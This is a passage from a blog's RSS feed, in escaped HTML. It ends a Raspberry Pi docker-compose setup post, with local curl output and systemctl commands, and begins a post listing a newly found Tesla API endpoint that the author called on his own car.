&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;55&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#55&#34;&gt;55&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;56&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#56&#34;&gt;56&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;* Expire in &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; ms &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;6&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;transfer 0x1b097c0&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;*   Trying 0.0.0.0...
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;* TCP_NODELAY &lt;span style=&#34;color:#91d7e3&#34;&gt;set&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;* Expire in &lt;span style=&#34;color:#f5a97f&#34;&gt;200&lt;/span&gt; ms &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;4&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;transfer 0x1b097c0&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;* Connected to 0.0.0.0 &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;127.0.0.1&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt; port &lt;span style=&#34;color:#f5a97f&#34;&gt;6666&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#0)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; GET / HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Host: 0.0.0.0:6666
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; User-Agent: curl/7.64.0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Accept: */*
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;* HTTP 1.0, assume close after body
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt; HTTP/1.0 &lt;span style=&#34;color:#f5a97f&#34;&gt;200&lt;/span&gt; OK
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTTP/1.0 &lt;span style=&#34;color:#f5a97f&#34;&gt;200&lt;/span&gt; OK
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt; Server: SimpleHTTP/0.6 Python/3.7.4
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Server: SimpleHTTP/0.6 Python/3.7.4
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt; Date: Thu, &lt;span style=&#34;color:#f5a97f&#34;&gt;26&lt;/span&gt; Sep &lt;span style=&#34;color:#f5a97f&#34;&gt;2019&lt;/span&gt; 22:10:28 GMT
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Date: Thu, &lt;span style=&#34;color:#f5a97f&#34;&gt;26&lt;/span&gt; Sep &lt;span style=&#34;color:#f5a97f&#34;&gt;2019&lt;/span&gt; 22:10:28 GMT
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt; Content-type: text/html; &lt;span style=&#34;color:#f4dbd6&#34;&gt;charset&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;utf-8
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Content-type: text/html; &lt;span style=&#34;color:#f4dbd6&#34;&gt;charset&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;utf-8
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt; Content-Length: &lt;span style=&#34;color:#f5a97f&#34;&gt;915&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Content-Length: &lt;span style=&#34;color:#f5a97f&#34;&gt;915&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;!DOCTYPE HTML PUBLIC &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-//W3C//DTD HTML 4.01//EN&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;http://www.w3.org/TR/html4/strict.dtd&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;html&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;head&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;meta http-equiv&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Content-Type&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;text/html; charset=utf-8&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;title&amp;gt;Directory listing &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; /&amp;lt;/title&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/head&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;body&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;h1&amp;gt;Directory listing &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; /&amp;lt;/h1&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;hr&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;ul&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;li&amp;gt;&amp;lt;a &lt;span style=&#34;color:#f4dbd6&#34;&gt;href&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;.dockerenv&amp;#34;&lt;/span&gt;&amp;gt;.dockerenv&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;li&amp;gt;&amp;lt;a &lt;span style=&#34;color:#f4dbd6&#34;&gt;href&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;bin/&amp;#34;&lt;/span&gt;&amp;gt;bin/&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;li&amp;gt;&amp;lt;a &lt;span style=&#34;color:#f4dbd6&#34;&gt;href&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;dev/&amp;#34;&lt;/span&gt;&amp;gt;dev/&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;li&amp;gt;&amp;lt;a &lt;span style=&#34;color:#f4dbd6&#34;&gt;href&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;etc/&amp;#34;&lt;/span&gt;&amp;gt;etc/&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;li&amp;gt;&amp;lt;a &lt;span style=&#34;color:#f4dbd6&#34;&gt;href&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;home/&amp;#34;&lt;/span&gt;&amp;gt;home/&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;li&amp;gt;&amp;lt;a &lt;span style=&#34;color:#f4dbd6&#34;&gt;href&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;lib/&amp;#34;&lt;/span&gt;&amp;gt;lib/&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;li&amp;gt;&amp;lt;a &lt;span style=&#34;color:#f4dbd6&#34;&gt;href&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;media/&amp;#34;&lt;/span&gt;&amp;gt;media/&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;li&amp;gt;&amp;lt;a &lt;span style=&#34;color:#f4dbd6&#34;&gt;href&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;mnt/&amp;#34;&lt;/span&gt;&amp;gt;mnt/&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;li&amp;gt;&amp;lt;a &lt;span style=&#34;color:#f4dbd6&#34;&gt;href&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;opt/&amp;#34;&lt;/span&gt;&amp;gt;opt/&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;li&amp;gt;&amp;lt;a &lt;span style=&#34;color:#f4dbd6&#34;&gt;href&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;proc/&amp;#34;&lt;/span&gt;&amp;gt;proc/&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;li&amp;gt;&amp;lt;a &lt;span style=&#34;color:#f4dbd6&#34;&gt;href&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;root/&amp;#34;&lt;/span&gt;&amp;gt;root/&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;li&amp;gt;&amp;lt;a &lt;span style=&#34;color:#f4dbd6&#34;&gt;href&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;run/&amp;#34;&lt;/span&gt;&amp;gt;run/&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;li&amp;gt;&amp;lt;a &lt;span style=&#34;color:#f4dbd6&#34;&gt;href&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;sbin/&amp;#34;&lt;/span&gt;&amp;gt;sbin/&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;li&amp;gt;&amp;lt;a &lt;span style=&#34;color:#f4dbd6&#34;&gt;href&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;srv/&amp;#34;&lt;/span&gt;&amp;gt;srv/&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;li&amp;gt;&amp;lt;a &lt;span style=&#34;color:#f4dbd6&#34;&gt;href&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;sys/&amp;#34;&lt;/span&gt;&amp;gt;sys/&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;li&amp;gt;&amp;lt;a &lt;span style=&#34;color:#f4dbd6&#34;&gt;href&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;tmp/&amp;#34;&lt;/span&gt;&amp;gt;tmp/&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;li&amp;gt;&amp;lt;a &lt;span style=&#34;color:#f4dbd6&#34;&gt;href&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;usr/&amp;#34;&lt;/span&gt;&amp;gt;usr/&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;li&amp;gt;&amp;lt;a &lt;span style=&#34;color:#f4dbd6&#34;&gt;href&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;var/&amp;#34;&lt;/span&gt;&amp;gt;var/&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/ul&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;hr&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/body&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/html&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;* Closing connection &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;You can go back to the first ssh session and hit Ctrl + C to shutdown the image. Once you do that you will see something like:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;^CGracefully stopping... &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;press Ctrl+C again to force&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Stopping docker-test_webapp_1 ... &lt;span style=&#34;color:#c6a0f6&#34;&gt;done&lt;/span&gt;                                                                                  pi@pi-server2:~/docker/docker-test $&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Now you know docker-compose and all the dependencies are installed. Next I would want docker to auto start whenever the pi boots up, and for that we will use the following two commands.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo systemctl &lt;span style=&#34;color:#91d7e3&#34;&gt;enable&lt;/span&gt; docker
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo systemctl start docker&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And that should be it. If you are running low on space you might want to clean up the images we downloaded in testing this installation.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Tesla API v3.9.1</title>
      <link>/post/2019/08/tesla-api-v3-9-1/</link>
      <pubDate>Thu, 29 Aug 2019 00:00:00 +0000</pubDate>
      
      <guid>/post/2019/08/tesla-api-v3-9-1/</guid>
      <description>&lt;p&gt;Haven&amp;rsquo;t had time until now to explore on what is new as Tesla continues to push updates. The latest version as of this post is v3.9.1 which is what there I decompiled and when compared to the earlier version (&lt;a
	
		href = &#34;http://desigeek.com/blog/amit/2019/04/20/tesla-rest-apis-v3-8-2/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		I had posted (v3.8.2)
	&lt;/span&gt;
&lt;/a&gt;, there three new REST API&amp;rsquo;s outlined below.&lt;/p&gt;
&lt;p&gt;Service data from the car - not sure what exactly does this will. Need to try it.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;5&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &amp;#34;VEHICLE_SERVICE_DATA&amp;#34;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;#34;TYPE&amp;#34;: &amp;#34;GET&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;#34;URI&amp;#34;: &amp;#34;api/1/vehicles/{vehicle_id}/service_data&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;#34;AUTH&amp;#34;: true
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Now, when I call that, I get a 200OK response (see below), so it is accepting the request, and that includes the bearer code in the header as expected. I don&amp;rsquo;t see anything interesting back, but that could be because my car is not in service. Maybe someone who has their vehicle in the service center can try and validate this.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
